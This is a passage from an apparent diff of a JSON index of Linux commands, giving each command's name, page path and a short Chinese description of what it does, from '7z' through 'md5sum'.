压缩包中提取文件"},"unset":{"n":"unset","p":"/unset","d":"删除指定的shell变量或函数。"},"unzip":{"n":"unzip","p":"/unzip","d":"用于解压缩由zip命令压缩的压缩包"},"updatedb":{"n":"updatedb","p":"/updatedb","d":"创建或更新slocate命令所必需的数据库文件"},"uptime":{"n":"uptime","p":"/uptime","d":"查看Linux系统负载信息"},"useradd":{"n":"useradd","p":"/useradd","d":"创建的新的系统用户"},"userdel":{"n":"userdel","p":"/userdel","d":"用于删除给定的用户以及与用户相关的文件"},"usermod":{"n":"usermod","p":"/usermod","d":"用于修改用户的基本信息"},"usernetctl":{"n":"usernetctl","p":"/usernetctl","d":"被允许时操作指定的网络接口"},"users":{"n":"users","p":"/users","d":"打印当前主机所有登陆用户的名称。"},"uucico":{"n":"uucico","p":"/uucico","d":"UUCP文件传输服务程序"},"uupick":{"n":"uupick","p":"/uupick","d":"命令处理传送进来的文件"},"uuto":{"n":"uuto","p":"/uuto","d":"将文件传送到远端的UUCP主机"},"vdfuse":{"n":"vdfuse","p":"/vdfuse","d":"VirtualBox软件挂载VDI分区文件工具"},"vgchange":{"n":"vgchange","p":"/vgchange","d":"修改卷组属性"},"vgconvert":{"n":"vgconvert","p":"/vgconvert","d":"转换卷组元数据格式"},"vgcreate":{"n":"vgcreate","p":"/vgcreate","d":"用于创建LVM卷组"},"vgdisplay":{"n":"vgdisplay","p":"/vgdisplay","d":"显示LVM卷组的信息"},"vgextend":{"n":"vgextend","p":"/vgextend","d":"向卷组中添加物理卷"},"vgreduce":{"n":"vgreduce","p":"/vgreduce","d":"从卷组中删除物理卷"},"vgremove":{"n":"vgremove","p":"/vgremove","d":"用于用户删除LVM卷组"},"vgrename":{"n":"vgrename","p":"/vgrename","d":"使用vgrename命令可以重命名卷组的名称"},"vgscan":{"n":"vgscan","p":"/vgscan","d":"扫描并显示系统中的卷组"},"vi":{"n":"vi","p":"/vi","d":"功能强大的纯文本编辑器"},"vmstat":{"n":"vmstat","p":"/vmstat","d":"显示虚拟内存状态"},"volname":{"n":"volname","p":"/volname","d":"显示指定的ISO-9660格式的设备的卷名称"},"w":{"n":"w","p":"/w","d":"显示目前登入系统的用户信息"},"wait":{"n":"wait","p":"/wait","d":"等待进程执行完后返回"},"wall":{"n":"wall","p":"/wall","d":"向系统当前所有打开的终端上输出信息"},"watch":{"n":"watch","p":"/watch","d":"可以将命令的输出结果输出到标准输出设备，多用于周期性执行命令/定时执行命令"},"wc":{"n":"wc","p":"/wc","d":"统计文件的字节数、字数、行数"},"wget":{"n":"wget","p":"/wget","d":"Linux系统下载文件工具"},"whatis":{"n":"whatis","p":"/whatis","d":"查询一个命令执行什么功能"},"whereis":{"n":"whereis","p":"/whereis","d":"查找二进制程序、代码等相关文件路径"},"which":{"n":"which","p":"/which","d":"查找并显示给定命令的绝对路径"},"who":{"n":"who","p":"/who","d":"显示当前所有登陆用户的信息。"},"whoami":{"n":"whoami","p":"/whoami","d":"打印当前有效的用户ID对应的名称"},"write":{"n":"write","p":"/write","d":"向指定登录用户终端上发送信息"},"xargs":{"n":"xargs","p":"/xargs","d":"给其他命令传递参数的一个过滤器"},"xauth":{"n":"xauth","p":"/xauth","d":"显示和编辑被用于连接X服务器的认证信息"},"xclip":{"n":"xclip","p":"/xclip","d":"管理 X 粘贴板"},"xhost":{"n":"xhost","p":"/xhost","d":"制哪些X客户端能够在X服务器上显示"},"xinit":{"n":"xinit","p":"/xinit","d":"是Linux下X-Window系统的初始化程序"},"xlsatoms":{"n":"xlsatoms","p":"/xlsatoms","d":"列出X服务器内部所有定义的原子成分"},"xlsclients":{"n":"xlsclients","p":"/xlsclients","d":"列出显示器中的客户端应用程序"},"xlsfonts":{"n":"xlsfonts","p":"/xlsfonts","d":"列出X Server使用的字体"},"xrandr":{"n":"xrandr","p":"/xrandr","d":"X 窗口系统配置管理工具"},"xset":{"n":"xset","p":"/xset","d":"设置X-Window系统中的用户爱好的实用工具"},"xz":{"n":"xz","p":"/xz","d":"POSIX 平台开发具有高压缩率的工具"},"yes":{"n":"yes","p":"/yes","d":"重复打印指定字符串"},"ypdomainname":{"n":"ypdomainname","p":"/ypdomainname","d":"显示主机的NIS的域名"},"yum":{"n":"yum","p":"/yum","d":"基于RPM的软件包管理器"},"zcat":{"n":"zcat","p":"/zcat","d":"显示压缩包中文件的内容"},"zfore":{"n":"zfore","p":"/zfore","d":"强制为gzip格式的压缩文件添加.gz后缀"},"zip":{"n":"zip","p":"/zip","d":"可以用来解压缩文件"},"zipinfo":{"n":"zipinfo","p":"/zipinfo","d":"用来列出压缩文件信息"},"zipsplit":{"n":"zipsplit","p":"/zipsplit","d":"将较大的zip压缩包分割成各个较小的压缩包"},"znew":{"n":"znew","p":"/znew","d":"将.Z压缩包重新转化为gzip命令压缩的.gz压缩包"}} \ No newline at end of file +{"7z":{"n":"7z","p":"/7z","d":"拥有极高压缩比的开源压缩软件。"},"ab":{"n":"ab","p":"/ab","d":"Apache服务器的性能测试工具"},"accept":{"n":"accept","p":"/accept","d":"指示打印系统接受发往指定目标打印机的打印任务"},"ack":{"n":"ack","p":"/ack","d":"比grep好用的文本搜索工具"},"ag":{"n":"ag","p":"/ag","d":"ack 的升级版，C语言编写，更快更人性化"},"alias":{"n":"alias","p":"/alias","d":"定义或显示别名。"},"apachectl":{"n":"apachectl","p":"/apachectl","d":"Apache服务器前端控制工具"},"apk":{"n":"apk","p":"/apk","d":"Alpine Linux 下的包管理工具"},"apropos":{"n":"apropos","p":"/apropos","d":"在 whatis 数据库中查找字符串"},"apt-get":{"n":"apt-get","p":"/apt-get","d":"Debian Linux发行版中的APT软件包管理工具"},"apt-key":{"n":"apt-key","p":"/apt-key","d":"管理Debian Linux系统中的软件包密钥"},"apt-sortpkgs":{"n":"apt-sortpkgs","p":"/apt-sortpkgs","d":"Debian Linux下对软件包索引文件进行排序的工具"},"aptitude":{"n":"aptitude","p":"/aptitude","d":"Debian Linux系统中软件包管理工具"},"ar":{"n":"ar","p":"/ar","d":"建立或修改备存文件，或是从备存文件中抽取文件"},"arch":{"n":"arch","p":"/arch","d":"显示当前主机的硬件架构类型"},"arj":{"n":"arj","p":"/arj","d":"用于创建和管理.arj压缩包"},"arp":{"n":"arp","p":"/arp","d":"arp 命令用于显示和修改 IP 到 MAC 转换表"},"arpd":{"n":"arpd","p":"/arpd","d":"收集免费ARP信息"},"arping":{"n":"arping","p":"/arping","d":"通过发送ARP协议报文测试网络"},"arptables":{"n":"arptables","p":"/arptables","d":"管理ARP包过滤规则表"},"arpwatch":{"n":"arpwatch","p":"/arpwatch","d":"监听网络上ARP的记录"},"as":{"n":"as","p":"/as","d":"汇编语言编译器"},"at":{"n":"at","p":"/at","d":"在指定时间执行一个任务"},"atop":{"n":"atop","p":"/atop","d":"监控Linux系统资源与进程的工具"},"atq":{"n":"atq","p":"/atq","d":"列出当前用户的at任务列表"},"atrm":{"n":"atrm","p":"/atrm","d":"删除待执行任务队列中的指定任务"},"awk":{"n":"awk","p":"/awk","d":"文本和数据进行处理的编程语言"},"axel":{"n":"axel","p":"/axel","d":"多线程下载工具"},"badblocks":{"n":"badblocks","p":"/badblocks","d":"查找磁盘中损坏的区块"},"base64":{"n":"base64","p":"/base64","d":"base64 编码/解码文件或标准输入输出"},"basename":{"n":"basename","p":"/basename","d":"打印目录或者文件的基本名称"},"batch":{"n":"batch","p":"/batch","d":"在系统不繁忙的时候执行定时任务"},"bc":{"n":"bc","p":"/bc","d":"算术操作精密运算工具"},"bg":{"n":"bg","p":"/bg","d":"将前台终端作业移动到后台运行"},"bind":{"n":"bind","p":"/bind","d":"显示或设置键盘按键与其相关的功能"},"blkid":{"n":"blkid","p":"/blkid","d":"查看块设备的文件系统类型、LABEL、UUID等信息"},"blockdev":{"n":"blockdev","p":"/blockdev","d":"从命令行调用区块设备控制程序"},"bmodinfo":{"n":"bmodinfo","p":"/bmodinfo","d":"显示给定模块的详细信息"},"break":{"n":"break","p":"/break","d":"结束for，while或until循环。"},"builtin":{"n":"builtin","p":"/builtin","d":"执行bash内建命令。"},"bunzip2":{"n":"bunzip2","p":"/bunzip2","d":"可解压缩.bz2格式的压缩文件。 "},"bye":{"n":"bye","p":"/bye","d":"命令用于中断FTP连线并结束程序"},"bzcat":{"n":"bzcat","p":"/bzcat","d":"不解压，直接查看指定的.bz2文件"},"bzcmp":{"n":"bzcmp","p":"/bzcmp","d":"比较两个压缩包中的文件"},"bzdiff":{"n":"bzdiff","p":"/bzdiff","d":"直接比较两个.bz2压缩包中文件的不同"},"bzgrep":{"n":"bzgrep","p":"/bzgrep","d":"使用正则表达式搜索.bz2压缩包中文件"},"bzip2":{"n":"bzip2","p":"/bzip2","d":"将文件压缩成bz2格式"},"bzip2recover":{"n":"bzip2recover","p":"/bzip2recover","d":"恢复被破坏的.bz2压缩包中的文件"},"bzless":{"n":"bzless","p":"/bzless","d":"增强.bz2压缩包查看器"},"bzmore":{"n":"bzmore","p":"/bzmore","d":"查看bzip2压缩过的文本文件的内容"},"cal":{"n":"cal","p":"/cal","d":"显示当前日历或指定日期的日历"},"cancel":{"n":"cancel","p":"/cancel","d":"取消已存在的打印任务"},"cat":{"n":"cat","p":"/cat","d":"连接多个文件并打印到标准输出。"},"cd":{"n":"cd","p":"/cd","d":"切换用户当前工作目录。"},"cdrecord":{"n":"cdrecord","p":"/cdrecord","d":"Linux系统下光盘刻录功能命令"},"chage":{"n":"chage","p":"/chage","d":"修改帐号和密码的有效期限"},"chattr":{"n":"chattr","p":"/chattr","d":"用来改变文件属性"},"chcon":{"n":"chcon","p":"/chcon","d":"修改对象（文件）的安全上下文"},"chfn":{"n":"chfn","p":"/chfn","d":"用来改变finger命令显示的信息"},"chgrp":{"n":"chgrp","p":"/chgrp","d":"用来变更文件或目录的所属群组"},"chkconfig":{"n":"chkconfig","p":"/chkconfig","d":"检查或设置系统的各种服务"},"chmod":{"n":"chmod","p":"/chmod","d":"用来变更文件或目录的权限"},"chown":{"n":"chown","p":"/chown","d":"用来变更文件或目录的拥有者或所属群组"},"chpasswd":{"n":"chpasswd","p":"/chpasswd","d":"批量更新用户口令的工具"},"chroot":{"n":"chroot","p":"/chroot","d":"把根目录换成指定的目的目录"},"chsh":{"n":"chsh","p":"/chsh","d":"用来更换登录系统时使用的shell"},"cksum":{"n":"cksum","p":"/cksum","d":"检查文件的CRC是否正确"},"clear":{"n":"clear","p":"/clear","d":"清除当前屏幕终端上的任何信息"},"clock":{"n":"clock","p":"/clock","d":"用于调整 RTC 时间"},"clockdiff":{"n":"clockdiff","p":"/clockdiff","d":"检测两台linux主机的时间差"},"cmp":{"n":"cmp","p":"/cmp","d":"比较两个文件是否有差异"},"col":{"n":"col","p":"/col","d":"过滤控制字符"},"colrm":{"n":"colrm","p":"/colrm","d":"删除文件中的指定列"},"comm":{"n":"comm","p":"/comm","d":"按行比较两个已排序的文件。"},"command":{"n":"command","p":"/command","d":"调用并执行指定的命令"},"compress":{"n":"compress","p":"/compress","d":"使用Lempress-Ziv编码压缩数据文件"},"consoletype":{"n":"consoletype","p":"/consoletype","d":"输出已连接的终端类型"},"continue":{"n":"continue","p":"/continue","d":"结束本次循环，继续执行下一个for，while或until循环。"},"convertquota":{"n":"convertquota","p":"/convertquota","d":"把老的配额文件转换为新的格式"},"cp":{"n":"cp","p":"/cp","d":"将源文件或目录复制到目标文件或目录中"},"cpio":{"n":"cpio","p":"/cpio","d":"用来建立、还原备份档的工具程序"},"crontab":{"n":"crontab","p":"/crontab","d":"提交和管理用户的需要周期性执行的任务"},"csplit":{"n":"csplit","p":"/csplit","d":"将一个大文件分割成小的碎片文件"},"cu":{"n":"cu","p":"/cu","d":"用于连接另一个系统主机"},"cupsdisable":{"n":"cupsdisable","p":"/cupsdisable","d":"停止指定的打印机"},"cupsenable":{"n":"cupsenable","p":"/cupsenable","d":"启动指定的打印机"},"curl":{"n":"curl","p":"/curl","d":"利用URL规则在命令行下工作的文件传输工具"},"cut":{"n":"cut","p":"/cut","d":"连接文件并打印到标准输出设备上"},"date":{"n":"date","p":"/date","d":"显示或设置系统时间与日期"},"dc":{"n":"dc","p":"/dc","d":"任意精度计算器"},"dd":{"n":"dd","p":"/dd","d":"复制文件并对原文件的内容进行转换和格式化处理"},"declare":{"n":"declare","p":"/declare","d":"声明变量，设置或显示变量的值和属性。"},"depmod":{"n":"depmod","p":"/depmod","d":"分析可载入模块的相依性"},"df":{"n":"df","p":"/df","d":"显示磁盘的相关信息"},"dhclient":{"n":"dhclient","p":"/dhclient","d":"动态获取或释放IP地址"},"dhcpd":{"n":"dhcpd","p":"/dhcpd","d":"运行DHCP服务器"},"dhcrelay":{"n":"dhcrelay","p":"/dhcrelay","d":"使用dhcrelay命令可以提供中继DHCP和BOOTP请求"},"diff":{"n":"diff","p":"/diff","d":"比较给定的两个文件的不同"},"diff3":{"n":"diff3","p":"/diff3","d":"比较3个文件不同的地方"},"diffstat":{"n":"diffstat","p":"/diffstat","d":"显示diff命令输出信息的柱状图"},"dig":{"n":"dig","p":"/dig","d":"域名查询工具"},"dircolors":{"n":"dircolors","p":"/dircolors","d":"置ls命令在显示目录或文件时所用的色彩"},"dirname":{"n":"dirname","p":"/dirname","d":"去除文件名中的非目录部分"},"dirs":{"n":"dirs","p":"/dirs","d":"显示目录堆栈。"},"disown":{"n":"disown","p":"/disown","d":"从当前的shell中移除作业。"},"dmesg":{"n":"dmesg","p":"/dmesg","d":"显示Linux系统启动信息"},"dmidecode":{"n":"dmidecode","p":"/dmidecode","d":"在Linux系统下获取有关硬件方面的信息"},"dnf":{"n":"dnf","p":"/dnf","d":"新一代的RPM软件包管理器"},"dnsdomainname":{"n":"dnsdomainname","p":"/dnsdomainname","d":"定义DNS系统中FQDN名称的域名"},"domainname":{"n":"domainname","p":"/domainname","d":"显示和设置系统的NIS域名"},"dos2unix":{"n":"dos2unix","p":"/dos2unix","d":"将DOS格式文本文件转换成Unix格式"},"dpkg-deb":{"n":"dpkg-deb","p":"/dpkg-deb","d":"Debian Linux下的软件包管理工具"},"dpkg-divert":{"n":"dpkg-divert","p":"/dpkg-divert","d":"Debian Linux中创建并管理一个转向列表"},"dpkg-preconfigure":{"n":"dpkg-preconfigure","p":"/dpkg-preconfigure","d":"Debian Linux中软件包安装之前询问问题"},"dpkg-query":{"n":"dpkg-query","p":"/dpkg-query","d":"Debian Linux中软件包的查询工具"},"dpkg-reconfigure":{"n":"dpkg-reconfigure","p":"/dpkg-reconfigure","d":"Debian Linux中重新配制一个已经安装的软件包"},"dpkg-split":{"n":"dpkg-split","p":"/dpkg-split","d":"Debian Linux中将大软件包分割成小包"},"dpkg-statoverride":{"n":"dpkg-statoverride","p":"/dpkg-statoverride","d":"Debian Linux中覆盖文件的所有权和模式"},"dpkg-trigger":{"n":"dpkg-trigger","p":"/dpkg-trigger","d":"Debian Linux下的软件包触发器"},"dpkg":{"n":"dpkg","p":"/dpkg","d":"Debian Linux系统上安装、创建和管理软件包"},"dris":{"n":"dris","p":"/dris","d":"显示和清空目录堆栈中的内容"},"dstat":{"n":"dstat","p":"/dstat","d":"通用的系统资源统计工具"},"du":{"n":"du","p":"/du","d":"显示每个文件和目录的磁盘使用空间"},"dump":{"n":"dump","p":"/dump","d":"用于备份ext2或者ext3文件系统"},"e2fsck":{"n":"e2fsck","p":"/e2fsck","d":"用于检查第二扩展文件系统的完整性"},"e2label":{"n":"e2label","p":"/e2label","d":"设置第二扩展文件系统的卷标"},"echo":{"n":"echo","p":"/echo","d":"输出指定的字符串或者变量"},"ed":{"n":"ed","p":"/ed","d":"单行纯文本编辑器"},"edquota":{"n":"edquota","p":"/edquota","d":"用于编辑指定用户或工作组磁盘配额"},"egrep":{"n":"egrep","p":"/egrep","d":"在文件内查找指定的字符串"},"eject":{"n":"eject","p":"/eject","d":"用来退出抽取式设备"},"elinks":{"n":"elinks","p":"/elinks","d":"纯文本界面的WWW浏览器"},"elm":{"n":"elm","p":"/elm","d":"纯文本邮件客户端程序"},"emacs":{"n":"emacs","p":"/emacs","d":"功能强大的全屏文本编辑器"},"enable":{"n":"enable","p":"/enable","d":"启动或禁用shell内建命令"},"env":{"n":"env","p":"/env","d":"显示系统中已存在的环境变量"},"ethtool":{"n":"ethtool","p":"/ethtool","d":"显示或修改以太网卡的配置信息"},"ex":{"n":"ex","p":"/ex","d":"启动vim编辑器的ex编辑模式"},"exec":{"n":"exec","p":"/exec","d":"调用并执行指定的命令"},"exit":{"n":"exit","p":"/exit","d":"退出当前的shell。"},"expand":{"n":"expand","p":"/expand","d":"将文件的制表符转换为空白字符"},"export":{"n":"export","p":"/export","d":"为shell变量或函数设置导出属性。"},"exportfs":{"n":"exportfs","p":"/exportfs","d":"管理NFS共享文件系统列表"},"expr":{"n":"expr","p":"/expr","d":"一款表达式计算工具"},"false":{"n":"false","p":"/false","d":"返回状态为失败。"},"fc":{"n":"fc","p":"/fc","d":"显示历史列表中的命令或修改指定的历史命令并执行。"},"fdisk":{"n":"fdisk","p":"/fdisk","d":"查看磁盘使用情况和磁盘分区"},"fg":{"n":"fg","p":"/fg","d":"将后台作业移动到前台终端运行"},"fgrep":{"n":"fgrep","p":"/fgrep","d":"为文件搜索文字字符串"},"file":{"n":"file","p":"/file","d":"用来探测给定文件的类型"},"find":{"n":"find","p":"/find","d":"在指定目录下查找文件"},"findfs":{"n":"findfs","p":"/findfs","d":"标签或UUID查找文件系统"},"finger":{"n":"finger","p":"/finger","d":"用于查找并显示用户信息"},"firewall-cmd":{"n":"firewall-cmd","p":"/firewall-cmd","d":"Linux上新用的防火墙软件，跟iptables差不多的工具"},"fishshell":{"n":"fishshell","p":"/fishshell","d":"比 bash 更好用的 shell"},"fmt":{"n":"fmt","p":"/fmt","d":"读取文件后优化处理并输出"},"fold":{"n":"fold","p":"/fold","d":"控制文件内容输出时所占用的屏幕宽度"},"fping":{"n":"fping","p":"/fping","d":"fping检测主机是否存在"},"free":{"n":"free","p":"/free","d":"显示内存的使用情况"},"fsck":{"n":"fsck","p":"/fsck","d":"fsck（英文全拼：file system check）命令检查并且试图修复文件系统中的错误"},"ftp":{"n":"ftp","p":"/ftp","d":"用来设置文件系统相关功能"},"ftpcount":{"n":"ftpcount","p":"/ftpcount","d":"显示目前已FTP登入的用户人数"},"ftpshut":{"n":"ftpshut","p":"/ftpshut","d":"在指定的时间关闭FTP服务器"},"ftptop":{"n":"ftptop","p":"/ftptop","d":"proftpd服务器的连接状态"},"ftpwho":{"n":"ftpwho","p":"/ftpwho","d":"显示当前每个ftp会话信息"},"fuser":{"n":"fuser","p":"/fuser","d":"使用文件或文件结构识别进程"},"gcc":{"n":"gcc","p":"/gcc","d":"基于C/C++的编译器"},"gcov":{"n":"gcov","p":"/gcov","d":"测试程序的代码覆盖率的工具"},"gdb":{"n":"gdb","p":"/gdb","d":"功能强大的程序调试器"},"get_module":{"n":"get_module","p":"/get_module","d":"获取Linux内核模块的详细信息"},"getenforce":{"n":"getenforce","p":"/getenforce","d":"显示当前SELinux的应用模式，是强制、执行还是停用"},"getsebool":{"n":"getsebool","p":"/getsebool","d":"查询SElinux策略内各项规则的布尔值"},"git":{"n":"git","p":"/git","d":"是目前世界上最先进的分布式版本控制系统"},"gpasswd":{"n":"gpasswd","p":"/gpasswd","d":"Linux下工作组文件的管理工具"},"gpm":{"n":"gpm","p":"/gpm","d":"提供文字模式下的滑鼠事件处理"},"grep":{"n":"grep","p":"/grep","d":"强大的文本搜索工具"},"groupadd":{"n":"groupadd","p":"/groupadd","d":"用于创建一个新的工作组"},"groupdel":{"n":"groupdel","p":"/groupdel","d":"用于删除指定的工作组"},"groupmems":{"n":"groupmems","p":"/groupmems","d":"管理用户主要组的成员"},"groupmod":{"n":"groupmod","p":"/groupmod","d":"更改群组识别码或名称"},"groups":{"n":"groups","p":"/groups","d":"打印指定用户所在组的名称。"},"grpck":{"n":"grpck","p":"/grpck","d":"用于验证组文件的完整性"},"grpconv":{"n":"grpconv","p":"/grpconv","d":"用来开启群组的投影密码"},"grpunconv":{"n":"grpunconv","p":"/grpunconv","d":"用来关闭群组的投影密码"},"grub":{"n":"grub","p":"/grub","d":"多重引导程序grub的命令行shell工具"},"grub2-mkconfig":{"n":"grub2-mkconfig","p":"/grub2-mkconfig","d":"生成 grub.cfg 配置文件。"},"grub2-set-default":{"n":"grub2-set-default","p":"/grub2-set-default","d":"设置系统默认的启动内核"},"gunzip":{"n":"gunzip","p":"/gunzip","d":"用来解压缩文件"},"gzexe":{"n":"gzexe","p":"/gzexe","d":"用来压缩可执行文件"},"gzip":{"n":"gzip","p":"/gzip","d":"用来压缩文件"},"halt":{"n":"halt","p":"/halt","d":"关闭正在运行的Linux操作系统"},"hdparm":{"n":"hdparm","p":"/hdparm","d":"显示与设定硬盘的参数"},"head":{"n":"head","p":"/head","d":"显示文件的开头部分。"},"help":{"n":"help","p":"/help","d":"该命令是bash内建命令，用于显示bash内建命令的帮助信息。"},"hexdump":{"n":"hexdump","p":"/hexdump","d":"显示文件十六进制格式"},"history":{"n":"history","p":"/history","d":"显示或操作历史列表。"},"host":{"n":"host","p":"/host","d":"常用的分析域名查询工具"},"hostid":{"n":"hostid","p":"/hostid","d":"显示当前主机的十六进制数字标识。"},"hostname":{"n":"hostname","p":"/hostname","d":"显示和设置系统的主机名"},"hostnamectl":{"n":"hostnamectl","p":"/hostnamectl","d":"查询或更改系统主机名"},"hping3":{"n":"hping3","p":"/hping3","d":"测试网络及主机的安全"},"htdigest":{"n":"htdigest","p":"/htdigest","d":"Apache服务器内置工具"},"htop":{"n":"htop","p":"/htop","d":"[非内部命令]一个互动的进程查看器，可以动态观察系统进程状况"},"htpasswd":{"n":"htpasswd","p":"/htpasswd","d":"apache服务器创建密码认证文件"},"hwclock":{"n":"hwclock","p":"/hwclock","d":"显示与设定硬件时钟"},"iconv":{"n":"iconv","p":"/iconv","d":"转换文件的编码方式"},"id":{"n":"id","p":"/id","d":"打印真实以及有效的用户和所在组的信息"},"ifcfg":{"n":"ifcfg","p":"/ifcfg","d":"置Linux中的网络接口参数"},"ifconfig":{"n":"ifconfig","p":"/ifconfig","d":"配置和显示Linux系统网卡的网络参数"},"ifdown":{"n":"ifdown","p":"/ifdown","d":"禁用指定的网络接口"},"ifstat":{"n":"ifstat","p":"/ifstat","d":"统计网络接口流量状态"},"iftop":{"n":"iftop","p":"/iftop","d":"一款实时流量监控工具"},"ifup":{"n":"ifup","p":"/ifup","d":"激活指定的网络接口"},"indent":{"n":"indent","p":"/indent","d":"格式化C语言的源文件"},"info":{"n":"info","p":"/info","d":"Linux下info格式的帮助指令"},"init":{"n":"init","p":"/init","d":"init进程是所有Linux进程的父进程"},"inotifywait":{"n":"inotifywait","p":"/inotifywait","d":"异步文件系统监控机制"},"insmod":{"n":"insmod","p":"/insmod","d":"将给定的模块加载到内核中"},"install":{"n":"install","p":"/install","d":"安装或升级软件或备份数据"},"iostat":{"n":"iostat","p":"/iostat","d":"监视系统输入输出设备和CPU的使用情况"},"iotop":{"n":"iotop","p":"/iotop","d":"用来监视磁盘I/O使用状况的工具"},"ip":{"n":"ip","p":"/ip","d":"网络配置工具"},"ip6tables-restore":{"n":"ip6tables-restore","p":"/ip6tables-restore","d":"还原ip6tables表"},"ip6tables-save":{"n":"ip6tables-save","p":"/ip6tables-save","d":"保存ip6tables表配置"},"ip6tables":{"n":"ip6tables","p":"/ip6tables","d":"linux中防火墙软件"},"ipcalc":{"n":"ipcalc","p":"/ipcalc","d":"简单的IP地址计算器"},"ipcrm":{"n":"ipcrm","p":"/ipcrm","d":"删除消息队列、信号集、或者共享内存标识"},"ipcs":{"n":"ipcs","p":"/ipcs","d":"分析消息队列共享内存和信号量"},"iperf":{"n":"iperf","p":"/iperf","d":"网络性能测试工具"},"iptables-restore":{"n":"iptables-restore","p":"/iptables-restore","d":"还原iptables表的配置"},"iptables-save":{"n":"iptables-save","p":"/iptables-save","d":"备份iptables的表配置"},"iptables":{"n":"iptables","p":"/iptables","d":"Linux上常用的防火墙软件"},"iptraf":{"n":"iptraf","p":"/iptraf","d":"实时地监视网卡流量"},"iptstate":{"n":"iptstate","p":"/iptstate","d":"显示iptables的工作状态"},"ispell":{"n":"ispell","p":"/ispell","d":"检查文件中出现的拼写错误"},"jed":{"n":"jed","p":"/jed","d":"主要用于编辑代码的编辑器"},"jobs":{"n":"jobs","p":"/jobs","d":"显示作业的状态。"},"joe":{"n":"joe","p":"/joe","d":"强大的纯文本编辑器"},"join":{"n":"join","p":"/join","d":"两个文件中指定栏位内容相同的行连接起来"},"journalctl":{"n":"journalctl","p":"/journalctl","d":"检索 systemd 日志，是 CentOS 7 才有的工具。"},"jq":{"n":"jq","p":"/jq","d":"一个灵活的轻量级命令行JSON处理器"},"jwhois":{"n":"jwhois","p":"/jwhois","d":"whois 客户端服务"},"kernelversion":{"n":"kernelversion","p":"/kernelversion","d":"打印当前内核的主版本号"},"kexec":{"n":"kexec","p":"/kexec","d":"从当前正在运行的内核引导到一个新内核"},"kill":{"n":"kill","p":"/kill","d":"发送信号到进程。"},"killall":{"n":"killall","p":"/killall","d":"使用进程的名称来杀死一组进程"},"last":{"n":"last","p":"/last","d":"列出目前与过去登入系统的用户相关信息"},"lastb":{"n":"lastb","p":"/lastb","d":"列出登入系统失败的用户相关信息"},"lastlog":{"n":"lastlog","p":"/lastlog","d":"显示系统中所有用户最近一次登录信息"},"ld":{"n":"ld","p":"/ld","d":"将目标文件连接为可执行程序"},"ldconfig":{"n":"ldconfig","p":"/ldconfig","d":"动态链接库管理命令"},"ldd":{"n":"ldd","p":"/ldd","d":"打印程序或者库文件所依赖的共享库列表"},"less":{"n":"less","p":"/less","d":"分屏上下翻页浏览文件内容"},"let":{"n":"let","p":"/let","d":"简单的计算器，执行算术表达式。"},"lftp":{"n":"lftp","p":"/lftp","d":"优秀的文件客户端程序"},"lftpget":{"n":"lftpget","p":"/lftpget","d":"调用lftp指令下载指定的文件"},"lha":{"n":"lha","p":"/lha","d":"压缩或解压缩lzh格式文件"},"lilo":{"n":"lilo","p":"/lilo","d":"安装核心载入开机管理程序"},"ln":{"n":"ln","p":"/ln","d":"用来为文件创建链接"},"lnstat":{"n":"lnstat","p":"/lnstat","d":"显示Linux系统的网路状态"},"local":{"n":"local","p":"/local","d":"在函数内定义局部变量。"},"locate":{"n":"locate","p":"/locate","d":"比 find 好用的文件查找工具"},"logger":{"n":"logger","p":"/logger","d":"在系统日志中记录相应条目"},"login":{"n":"login","p":"/login","d":"登录系统或切换用户身份"},"logname":{"n":"logname","p":"/logname","d":"打印当前终端登录用户的名称。"},"logout":{"n":"logout","p":"/logout","d":"退出当前登录的Shell"},"logrotate":{"n":"logrotate","p":"/logrotate","d":"系统日志进行轮转、压缩和删除"},"logsave":{"n":"logsave","p":"/logsave","d":"将命令的输出信息保存到指定的日志文件"},"logwatch":{"n":"logwatch","p":"/logwatch","d":"可定制和可插入式的日志监视系统"},"look":{"n":"look","p":"/look","d":"显示文件中以指定字符串开头的任意行"},"losetup":{"n":"losetup","p":"/losetup","d":"设定与控制循环（loop）设备"},"lp":{"n":"lp","p":"/lp","d":"打印文件或修改排队的打印任务"},"lpadmin":{"n":"lpadmin","p":"/lpadmin","d":"配置CUPS套件中的打印机和类"},"lpc":{"n":"lpc","p":"/lpc","d":"命令行方式打印机控制程序"},"lpq":{"n":"lpq","p":"/lpq","d":"显示打印队列中的打印任务的状态信息"},"lpr":{"n":"lpr","p":"/lpr","d":"将文件发送给指定打印机进行打印"},"lprm":{"n":"lprm","p":"/lprm","d":"删除打印队列中的打印任务"},"lpstat":{"n":"lpstat","p":"/lpstat","d":"显示CUPS中打印机的状态信息"},"ls":{"n":"ls","p":"/ls","d":"显示目录内容列表"},"lsattr":{"n":"lsattr","p":"/lsattr","d":"查看文件的第二扩展文件系统属性"},"lsb_release":{"n":"lsb_release","p":"/lsb_release","d":"显示发行版本信息"},"lsblk":{"n":"lsblk","p":"/lsblk","d":"列出块设备信息"},"lscpu":{"n":"lscpu","p":"/lscpu","d":"显示有关CPU架构的信息"},"lsmod":{"n":"lsmod","p":"/lsmod","d":"显示已载入系统的模块"},"lsof":{"n":"lsof","p":"/lsof","d":"显示Linux系统当前已打开的所有文件列表 `lsof -p pid`"},"lspci":{"n":"lspci","p":"/lspci","d":"显示当前主机的所有PCI总线信息"},"lsusb":{"n":"lsusb","p":"/lsusb","d":"显示本机的USB设备列表信息"},"ltrace":{"n":"ltrace","p":"/ltrace","d":"用来跟踪进程调用库函数的情况"},"lvcreate":{"n":"lvcreate","p":"/lvcreate","d":"用于创建LVM的逻辑卷"},"lvdisplay":{"n":"lvdisplay","p":"/lvdisplay","d":"显示逻辑卷属性"},"lvextend":{"n":"lvextend","p":"/lvextend","d":"扩展逻辑卷空间"},"lvreduce":{"n":"lvreduce","p":"/lvreduce","d":"收缩逻辑卷空间"},"lvremove":{"n":"lvremove","p":"/lvremove","d":"删除指定LVM逻辑卷"},"lvresize":{"n":"lvresize","p":"/lvresize","d":"调整逻辑卷空间大小"},"lvscan":{"n":"lvscan","p":"/lvscan","d":"扫描逻辑卷"},"lynx":{"n":"lynx","p":"/lynx","d":"纯文本模式的网页浏览器"},"mail":{"n":"mail","p":"/mail","d":"命令行下发送和接收电子邮件"},"mailq":{"n":"mailq","p":"/mailq","d":"显示待发送的邮件队列"},"mailstat":{"n":"mailstat","p":"/mailstat","d":"显示到达的邮件状态"},"make":{"n":"make","p":"/make","d":"GNU的工程化编译工具"},"man":{"n":"man","p":"/man","d":"查看Linux中的指令帮助"},"mapfile":{"n":"mapfile","p":"/mapfile","d":"从标准输入读取行并赋值到数组。"},"md5sum":{"n":"md5sum","p":"/md5sum","d":"计算和校验文件报文摘要的工具程序